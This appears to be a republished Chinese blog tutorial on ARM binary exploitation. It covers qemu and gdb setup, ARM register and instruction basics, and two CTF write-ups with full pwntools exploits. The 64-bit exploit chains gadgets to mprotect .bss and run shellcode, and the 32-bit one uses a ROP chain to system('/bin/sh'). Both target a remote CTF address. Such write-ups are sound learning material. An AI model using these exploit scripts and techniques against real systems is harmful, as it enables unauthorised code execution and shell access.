arm b bl 地址无关码_32位和64位下的arm_pwn初探
32位和64位下的arm_pwn初探
前言:
pwn的學習之路一直在進行,今天看了arm_pwn,搞環境就搞了半天,琢磨工具使用到做題,這里總結下,希望能幫助到大家,少走一點彎路,后期有機會繼續更新。
一、環境配置:
環境是一大玄學問題,這里僅僅是 我Ubuntu16.04下的環境配置,親測有效,但是遇到玄學的問題時,也請留言,努力幫大家解決。
#安裝qemuapt-get install qemu#更新一下sudo apt-get update#安裝32位的依賴庫sudo apt-get install -y gcc-arm-linux-gnueabi#運行32位的動態鏈接程序方法qemu-arm -L /usr/arm-linux-gnueabi ./文件#安裝64位的依賴庫sudo apt-get install -y gcc-aarch64-linux-gnu g++-aarch64-linux-gnu#運行64位的動態鏈接程序方法qemu-aarch64 -L /usr/aarch64-linux-gnu ./文件#安裝gdb調試工具sudo apt-get install git gdb gdb-multiarch#32位程序下斷調試步驟qemu-arm -g 1234 -L /usr/arm-linux-gnueabi ./文件(窗口1)gdb-multiarch ./文件(窗口2)pwndbg> target remote :1234pwndbg> b *0x8bb0#64位程序下斷調試步驟qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./文件(窗口1)gdb-multiarch ./文件(窗口2)pwndbg> target remote :1234pwndbg> b *0x8bb0二、arm匯編基礎:
環境起來了,就可以像平時一樣分析漏洞打題了,但是還是有不同的地方:
1、arm32只有16個32bit的通用寄存器,r0到r12,lr,pc,sp,函數調用時,前4個參數是壓入寄存器的(r0、r1、r2、r3),后面的參數是壓入棧中的
2、arm64有32個64bit長度的通用寄存器x0到x30以及sp,函數調用時,前8個參數都是通過寄存器來傳遞x0到x7
3、用一張圖熟悉常見的arm匯編指令
4、舉幾個常見的匯編代碼:
ldr r0,[r1, #4] ? ? //將內存單元R1+4中的字讀取到R0寄存器中,同時R1=R1+4add r1,r2,#1 ? ?//表示r1=r2+1, 即寄存器r1的值等于寄存器r2的值加上1b、bl ? ? ? ? ?//相當于callBIC ? ?R1, ?R1, ? #0x0F ? ? //將R1 ? 低4位清0mov r1,#4096 ? ? ?//r1 = 4096msr cpsr,r0 ? ? ? //復制r0到cpsr中str r1,[r2,#4] ?//將r1的數據保存到地址為r2+4的內存單元中sub r1,r2,#1 ? ?//表示r1=r2-15、lr、sp、pc三大寄存器
? ? ? ?堆棧指針r13(SP):每一種異常模式都有其自己獨立的r13,它通常指向異常模式所專用的堆棧,也就是說五種異常模式、非異常模式(用戶模式和系統模式),都有各自獨立的堆棧,用不同的堆棧指針來索引。這樣當ARM進入異常模式的時候,程序就可以把一般通用寄存器壓入堆棧,返回時再出棧,保證了各種模式下程序的狀態的完整性。
? ? ? ?連接寄存器r14(LR):每種模式下r14都有自身版組,它有兩個特殊功能。
? ?(1)保存子程序返回地址。使用BL或BLX時,跳轉指令自動把返回地址放入r14中;子程序通過把r14復制到PC來實現返回,通常用下列指令之一: ? ? ? ? ? ? ? ? ? ? ? ?MOV PC, LR ? ? ? ? ? ? ? ? ? ? ? ?BX LR
? ?通常子程序這樣寫,保證了子程序中還可以調用子程序。 ? ? ? ? ? ? ? ? ? ? ? ? stmfd sp!, {lr} ? ? ? ? ? ? ? ? ? ? ? ? …… ? ? ? ? ? ? ? ? ? ? ? ? ldmfd sp!, {pc}
? ?(2)當異常發生時,異常模式的r14用來保存異常返回地址,將r14如??梢蕴幚砬短字袛唷?/p>
? ? ? ?程序計數器r15(PC):PC是有讀寫限制的。當沒有超過讀取限制的時候,讀取的值是指令的地址加上8個字節,由于ARM指令總是以字對齊的,故bit[1:0]總是00。當用str或stm存儲PC的時候,偏移量有可能是8或12等其它值。在V3及以下版本中,寫入bit[1:0]的值將被忽略,而在V4及以上版本寫入r15的bit[1:0]必須為00,否則后果不可預測。
如果通俗地理解就是lr=rax,sp=rsp,pc=rip
相對的,x30是存放ret地址
三、做題實戰
1、64位下的arm程序
可以看到程序除了NX,什么也沒有開,ida分析下邏輯:
先讀0x200字節到bss段中,然后再棧溢出,漏洞點相當簡單,既然有讀到棧上我們就直接填shellcode然后改寫下bss權限為7即可,但是這是在arm的環境下,所以實現起來,相對困難一點點
首先ida直接分析棧偏移是不行的,我們可以通過cyclic去計算出偏移(動態調試一下即可),可以算出偏移為72,
接著我們要棧溢出執行mprotect,這里三個參數都要滿足比較辛苦,但是我們可以通過中級棧溢出的方式去得到:
text:00000000004008AC loc_4008AC ? ? ? ? ? ? ? ? ? ? ? ? ? ? ; CODE XREF: sub_400868+60↓j.text:00000000004008AC ? ? ? ? ? ? ? ? LDR ? ? ? ? ? ? X3, [X21,X19,LSL#3] // x3=[x21+x19*8].text:00000000004008B0 ? ? ? ? ? ? ? ? MOV ? ? ? ? ? ? X2, X22 //x2=x22.text:00000000004008B4 ? ? ? ? ? ? ? ? MOV ? ? ? ? ? ? X1, X23 //x1=x23.text:00000000004008B8 ? ? ? ? ? ? ? ? MOV ? ? ? ? ? ? W0, W24 // w0=w24(低位).text:00000000004008BC ? ? ? ? ? ? ? ? ADD ? ? ? ? ? ? X19, X19, #1 // x19=x19+1.text:00000000004008C0 ? ? ? ? ? ? ? ? BLR ? ? ? ? ? ? X3 ? ? ?// call x3.text:00000000004008C4 ? ? ? ? ? ? ? ? CMP ? ? ? ? ? ? X19, X20 ; .text:00000000004008C8 ? ? ? ? ? ? ? ? B.NE ? ? ? ? ? ?loc_4008AC // jmp if not equal.text:00000000004008CC.text:00000000004008CC loc_4008CC ? ? ? ? ? ? ? ? ? ? ? ? ? ? ; CODE XREF: sub_400868+3C↑j.text:00000000004008CC ? ? ? ? ? ? ? ? LDP ? ? ? ? ? ? X19, X20, [SP,#var_s10] ; ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? //x19=sp+0x10,x20=[sp+0x18].text:00000000004008D0 ? ? ? ? ? ? ? ? LDP ? ? ? ? ? ? X21, X22, [SP,#var_s20] ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? //x21=sp+0x20,x22=[sp+0x28].text:00000000004008D4 ? ? ? ? ? ? ? ? LDP ? ? ? ? ? ? X23, X24, [SP,#var_s30] ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? //x23=sp+0x30,x24=[sp+0x38].text:00000000004008D8 ? ? ? ? ? ? ? ? LDP ? ? ? ? ? ? X29, X30, [SP+var_s0],#0x40 ; Load Pair ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? //x29=[sp], x30=[sp+8].text:00000000004008DC ? ? ? ? ? ? ? ? RET ? ? ? ? ? ? //ret [x30]根據前面學的arm的匯編基礎,我們很容易將代碼讀懂,這里我做了注釋,方便看清楚。
好了知道意思后,利用就和elf文件一樣,我們控制好參數,寫個集成函數即可,這里有個坑點,就是填got表是無法實現調用的,因為arm不太一樣,這里我們需要偽造一個mprotect_plt的got表,實現調用,可以將mprotect_plt寫到bss上就搞定了,執行完我們再ret我們的shellcode的位置既可,下面上exp:
from pwn import *bin_elf = './64arm'context.binary = bin_elfcontext.log_level = "debug"if sys.argv[1] == "r": ? ?p = remote("106.75.126.171",33865)elif sys.argv[1] == "l": ? ?p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu/",bin_elf])else: ? ?p = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu/", bin_elf])elf = ELF(bin_elf)sl = lambda s : p.sendline(s)sd = lambda s : p.send(s)rc = lambda n : p.recv(n)ru = lambda s : p.recvuntil(s)ti = lambda : p.interactive()def debug(addr,PIE=True): ? ?if PIE: ? ? ? ?text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) ? ? ? ?gdb.attach(p,'b *{}'.format(hex(text_base+addr))) ? ?else: ? ? ? ?gdb.attach(p,"b *{}".format(hex(addr)))def bk(addr): ? ?gdb.attach(p,"b *"+str(hex(addr)))gadget1 = 0x00004008CCgadget2 = 0x00004008ACbss = 0x0000411068mprotect = 0x000400600ru("Name:")shellcode = asm(shellcraft.aarch64.sh())py = ''py += p64(mprotect)py += shellcodesl(py)def middle_stackoverlow(offset,x0,x1,x2,function_addr,ret_addr): ? ?py = '' ? ?py += 'a'*offset ? ?py += p64(gadget1) ? ?py += p64(0) ? ?py += p64(gadget2) ? ?py += p64(0) ? ?py += p64(1) ? ?py += p64(function_addr) ? ?py += p64(x2)#x22=x2 ? ?py += p64(x1)#x23=x1 ? ?py += p64(x0)#24=x0 ? ?py += p64(0) ? ?py += p64(ret_addr) ? ?sl(py)middle_stackoverlow(72,0x411000,0x1000,0x7,bss,bss+8)p.interactive()2、32位下的arm程序
一樣保護幾乎沒開,ida分析一波:
ida靜態分析,可能不是很好看,所以進行黑盒測試,直接運行看:
可以知道先換行,然后再輸入內容,會回顯那個英文,還是個循環,沒了。
所以關鍵就是第二次輸入,沒開canary,猜想是棧溢出的題目,直接cyclic動態調試可以計算偏移:112
同時程序有system和binsh的后門,根據rop,我們pop參數到r0即可實現調用:
from pwn import *bin_elf = './arm'context.binary = bin_elfcontext.log_level = "debug"if sys.argv[1] == "r": ? ?p = remote("106.75.126.171",33865)elif sys.argv[1] == "l": ? ?p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi",bin_elf])else: ? ?p = process(["qemu-arm", "-g", "1234", "-L", "/usr/arm-linux-gnueabi", bin_elf])elf = ELF(bin_elf)sl = lambda s : p.sendline(s)sd = lambda s : p.send(s)rc = lambda n : p.recv(n)ru = lambda s : p.recvuntil(s)ti = lambda : p.interactive()def debug(addr,PIE=True): ? ?if PIE: ? ? ? ?text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) ? ? ? ?gdb.attach(p,'b *{}'.format(hex(text_base+addr))) ? ?else: ? ? ? ?gdb.attach(p,"b *{}".format(hex(addr)))def bk(addr): ? ?gdb.attach(p,"b *"+str(hex(addr)))pop_r0_r4_ret = 0x00020904binsh = 0x006C384system_plt = 0x00110B4ru("if you want to quit")sl("")py = ''py += 'a'*112py += p32(pop_r0_r4_ret)py += p32(binsh)py += p32(0)py += p32(system_plt)ru("------Begin------")sl(py)p.interactive()總結:
綜上,其實還有種題目是leak出地址,然后再system去getshell,elf文件中很常見的ret2libc,但是呢,目前還沒遇到,等遇到了再做更新~
參考鏈接:
https://xz.aliyun.com/t/3744
https://xz.aliyun.com/t/3154
總結
以上是生活随笔為你收集整理的arm b bl 地址无关码_32位和64位下的arm_pwn初探的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 罗斯蒙特电磁流量计8723说明书_罗斯蒙
- 下一篇: thinkphp中如何使用PHP函数,如